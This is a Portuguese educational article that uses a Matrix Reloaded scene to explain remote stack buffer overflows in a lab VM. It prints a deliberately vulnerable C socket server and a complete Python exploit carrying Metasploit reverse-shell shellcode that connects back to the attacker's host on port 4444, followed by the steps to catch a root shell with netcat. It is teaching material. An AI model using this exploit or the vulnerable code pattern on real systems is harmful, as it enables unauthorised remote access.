Você está na página 1de 10

Invadindo Matrix Entendendo o Buffer Overflow

Matrix o filme
O filme Matrix Reloaded um marco na indstria cinematogrfica, no s
pelos efeitos especiais, mas tambm do ponto de vista tecnolgico, pela
utilizao de uma ferramenta de uso real no campo da segurana da
informao.
A certa altura do filme, a personagem Trinity invade o computador da
Matrix, utilizando o nmap para fazer o reconhecimento de portas e assim
detectando a porta 22 (SSH) aberta. Explorando uma vulnerabilidade do servidor SSH, utiliza um exploit denominado sshnuke para ganhar acesso ao
servidor.

O nmap uma ferramenta de reconhecimento largamente utilizada no diaa-dia dos profissionais de segurana da informao (e dos crackers
tambm), que permite mapeamento de portas utilizando diversas tcnicas
furtivas de reconhecimento alm de identificar com boa preciso, o sistema
operacional que roda no dispositivo remoto.

A vulnerabilidade explorada, como se v na figura acima, SSHv1 CRC32, era


uma vulnerabilidade real, mas o exploit (sshkuke), embora fosse fruto da
imaginao do autor, plenamente factvel.
Entendendo o Buffer Overflow
A vulnerabilidade ssh1 crc32 foi descoberta no ano de 2001, afetava as
verses SSH menor que 1.2.32, openSSH menor que 2.3 entre outras
variaes e era do tipo remote buffer overflow. A explorao dessa
vulnerabilidade permite a injeo um cdigo malicioso no servidor remoto

para executar as mais variadas aes como por exemplo, abrir um shell
para uso do atacante, eliminar regras do firewall, instalar um backdoor,
matar processos, criar usurios, etc, ou no mnimo provocar uma negao
de servio.
Um buffer overflow um provocado por um erro de programao que gera
umaexception no acesso memria. Ele ocorre quando um processo tenta
armazenar um dado alm dos limites de um buffer de tamanho
determinado, sobrescrevendo reas de memria adjacentes a esse buffer,
incluindo alguns endereos de controle fluxo ou ponteiros de memria
utilizados pelo processador, o que normalmente causa um erro de
Segmentation Fault, provocando o encerramento do programa.
Esses endereos de controle de fluxo, na realidade, so ponteiros para a
prxima instruo a ser executada pelo processador e se cuidadosamente
sobrepostos, podem provocar um desvio no fluxo de execuo normal do
programa para o cdigo malfico do atacante.

No esquema acima podemos ver um exemplo de como ocorre o ataque


de buffer overflow. Basicamente, o atacante envia um dado com tamanho
maior que o espao alocado para a buffer, juntamente com um cdigo
malicioso, de tal forma que o endereo de retorno da funo, contido na
regio chamada de EIP, seja sobreposto para apontar para o cdigo do
atacante.
No caso especfico dessa vulnerabilidade SSH1 CRC32, um contedo inteiro
de 32 bits atribudo uma varivel de 16 bits da rotina deattack.c e
pode ser explorado remotamente pelo envio de um pacote cuidadosamente
montado para esse fim.
Reproduzindo o Ataque

Conceitualmente simples, na prtica, o ataque de buffer overflow remoto


no to fcil de ser bem sucedido, por depender de posies de memria
que mudam de acordo com a compilao, verso do sistema operacional,
etc. Claro, que uma vez criado o exploit que efetivamente funcione para
uma determinada verso de software e sistema operacional, o ataque tornase trivial de ser reproduzido.
Como a vulnerabilidade utilizada no filme muito antiga, aps exaustivas
buscas na internet, consegui achar o exploit para essa vulnerabilidade,
porm, no consegui achar a verso de SSH compatvel, na sua forma
binria e instalvel numa verso de SO compatvel com o exploit,
impossibilitando a reproduo fiel do ataque usado no filme.
Diante dessa dificuldade, optei por apresentar uma demonstrao
acadmica da explorao remota de buffer overflow, utilizando um
programa meramente demonstrativo.
O programa escrito em linguagem C, comporta-se como um servidor,
escutando uma porta TCP e ao receber um dado por essa porta, exibe na
console e envia uma mensagem de retorno ao cliente.
Server
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void error(char *msg)


{
perror(msg);
exit(1);
}

void viewer(char *string)


{
//declaracao de char buffer

char buffer[1024];
//a string do parametro eh copiada nesse buffer
strcpy(buffer,string);
//e depois mostrada na stdout
printf("Mensagem recebida: %s\n",buffer);
fflush;
}

int main(int argc, char *argv[])


{
int sockfd, newsockfd, portno, clilen;
char buffer[2000];
struct sockaddr_in serv_addr, cli_addr;
int n;
if (argc < 2) {
fprintf(stderr,"ERRO: porta nao especificada.\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERRO ao abrir socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) < 0)

error("ERRO de 'bind'");
listen(sockfd,5);
clilen = sizeof(cli_addr);
while(1)
{
newsockfd = accept(sockfd,
(struct sockaddr *) &cli_addr,
&clilen);
if (newsockfd < 0)
error("ERRO na recepcao");
bzero(buffer,256);
n = read(newsockfd,buffer,2000);
if (n < 0) error("ERRO na leitura do socket");
viewer(buffer);
n = write(newsockfd,"A mensagem foi recebida pelo servidor.", strlen("A
mensagem foi recebida pelo servidor."));
if (n < 0) error("ERROR na gravacao do socket");
}
return 0;
}
No cdigo do programa, podemos observar na funo viewer(), o ponto
vulnervel do programa. A varivel buffer definida com o tamanho de
1024 bytes, mas no existe qualquer verificao quanto ao tamanho do
dado atribudo a ela.
Dessa forma, se enviarmos um pacote com 1028 bytes (antes da regio EIP,
que desejamos alterar, existe o EBP com 4 bytes, mas no nos
interessa), mais o endereo de desvio, podemos sobrepor o endereo
original. Existem certos detalhes tcnicos adicionais que tornam o
desenvolvimento do exploit mais complexo, mas que fogem ao escopo
desse artigo. Maiores informaes podem ser obtidas consultando os
documentos citados nas referncias desse artigo.
Na nossa demonstrao, compilamos e executamos esse programa servidor
numa mquina virtual Vmware, com sistema operacional Debian 4.0, kernel

2.6.18-6-486, endero ip 172.16.56.128, porta 1025. O ataque parte da


mquina hospedeira, Ubuntu 8.04., ip 172.16.56.1.
Para realizar o ataque, utilizamos um script em python com
o payload oushellcode (cdigo malicioso) gerado pelo metasploit e realizar
uma conexo reversa do servidor para o cliente na porta 4444.
Exploit
#!/usr/bin/env python

import socket
import getopt
import sys

host = "172.16.56.128"
port = 1025

# linux_ia32_reverse - LHOST=172.16.56.1 LPORT=4444 Size=202


Encoder=Alpha2 http://metasploit.com
shellcode = \
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49" \
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x45" \
"\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x55\x41\x32\x41\x41\x32" \
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x48\x69\x36\x51\x6b" \
"\x6b\x31\x43\x77\x33\x73\x63\x31\x7a\x46\x62\x41\x7a\x33\x56\x36" \
"\x38\x4b\x39\x49\x71\x78\x4d\x4b\x30\x4f\x63\x33\x69\x4c\x70\x65" \
"\x6f\x68\x4d\x6f\x70\x57\x39\x74\x39\x4b\x49\x33\x6b\x41\x4a\x42" \
"\x48\x4c\x6c\x44\x50\x56\x58\x44\x41\x75\x36\x30\x68\x72\x31\x61" \
"\x4c\x73\x73\x33\x56\x43\x63\x4e\x69\x4b\x51\x6e\x50\x51\x76\x62" \
"\x70\x42\x71\x52\x73\x6c\x49\x48\x61\x30\x43\x68\x4d\x6d\x50\x63" \
"\x62\x42\x48\x74\x6f\x54\x6f\x63\x43\x52\x48\x35\x38\x36\x4f\x61" \
"\x72\x70\x69\x30\x6e\x4c\x49\x6a\x43\x61\x42\x63\x63\x4b\x39\x79" \

"\x71\x6e\x50\x76\x6b\x4a\x6d\x4b\x30\x45"

retaddr = "\x77\xe7\xff\xff"
buff = "A" * 1028 + retaddr + shellcode + "\x00"
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(buff)
sock.close()
sock = None
Realizando o ataque
Os passos para executar o ataque de demonstrao consistem no seguinte:
1. Inicialmente, colocamos o servidor para executar no Debian, rodando
na VM, escutando a porta 1025.
2. Na mquina hospedeira, numa sesso shell, colocamos
o netcat escutando na porta 4444 para receber a conexo de retorno.
3. Em outra sesso shell, executamos o nmap que confirma a existncia
do servio (no caso, porta 1025) e em seguida, executamos o exploit.
4. No shell do netcat recebemos a conexo de callback do servidor,
onde podemos digitar qualquer comando, herdando as permisses da
conta em que o servidor executado (no nosso caso root).
O uso da tcnica de callback serve para burlar as regras do firewall,
iniciando uma conexo da rede interna para a rede externa.
As telas a seguir, demonstram o ataque realizado:

Essa tela demonstra o nmap executado na mquina cliente, verificando as


portas abertas no servidor, no intervalo de 1 a 2048, onde comprovamos a
porta 1025 aberta.

Ainda na mquina cliente, comprovamos o funcionamento do servidor


enviando uma mensagem de teste para ele, com o uso do comando echo,
fazendo um pipe para o netcat e recebendo a mensagem de confirmao.
Num segundo momento, executamos o script de exploit, que envia
o payloadpara o servidor.

No servidor podemos ver a mensagem de teste e posteriormente a


mensagem de ataque onde se v uma seqncia de letras A somente para
preencher o buffere em seguida a representao ASCII do payload.

Nessa tela podemos ver o netcat escutando a porta 4444 e depois


recebendo a conexo do servidor. A comprovao de que estamos no
servidor pode ser obtido pelo comando uname -a e a conta em execuo
pelo whoami.
Concluses

Apesar de ser de difcil execuo, por depender de endereos de memria


especficos para cada compilao/verso de software e sistema operacional,
uma vez elaborado o exploit para determinada verso, sua execuo
trivial e extremamente perigosa pelo resultado que o atacante pode obter.
Esses ataques podem retornar um shell para o atacante, executar
um flush noiptables (remover todas as regras do firewall), incluir contas de
usurio, enviar e instalar um backdoor, etc.
Firewalls, especialmente os construdos sobre linux, no devem conter
outros servios para minimizar os riscos, j que um ataque a um servio
vulnervel nesse equipamento pode simplesmente torna-lo incuo pela
execuo de umflush no iptables, eliminado todas as suas regras de
controle de acesso.
Durante nossos testes, verificamos que o Ubuntu aborta o programa
vulnervel (servidor) ao perceber uma tentativa de stack
smashing (tentativa de corrupo dos endereos da pilha, usados nos
ataques de buffer overflow), ao passo que o Debian no acusou nada. Isso
significa que determinadas distribuies so mais seguras que outras.
E por fim, novas vulnerabilidades so descobertas todos os
dias. Patches(correes) ou novas verses dos softwares vulnerveis so
distribudos to logo essas vulnerabilidades sejam descobertas e
divulgadas, devendo ser aplicadas o quanto antes aos nossos sistemas para
minimizar os riscos.
Se quiser aprender mais sobre buffer overflow, veja as referncias abaixo.
Referncias
Michal Zalewski SSH1 CRC-32 compensation attack detector vulnerability
2001 em http://www.coresecurity.com/index.php5?
module=ContentMod&action=item&id=1024
Denis Maggiorotto Explanation of a remote buffer overflow vulnerability
2007 em http://www.milw0rm.com/papers/160
Izick Smack the Stack ( Advanced Buffer Overflow Methods ) 2006
emhttp://www.milw0rm.com/papers/7
Mercy Basic buffer overflow explained 2002
emhttp://www.milw0rm.com/papers/97

Você também pode gostar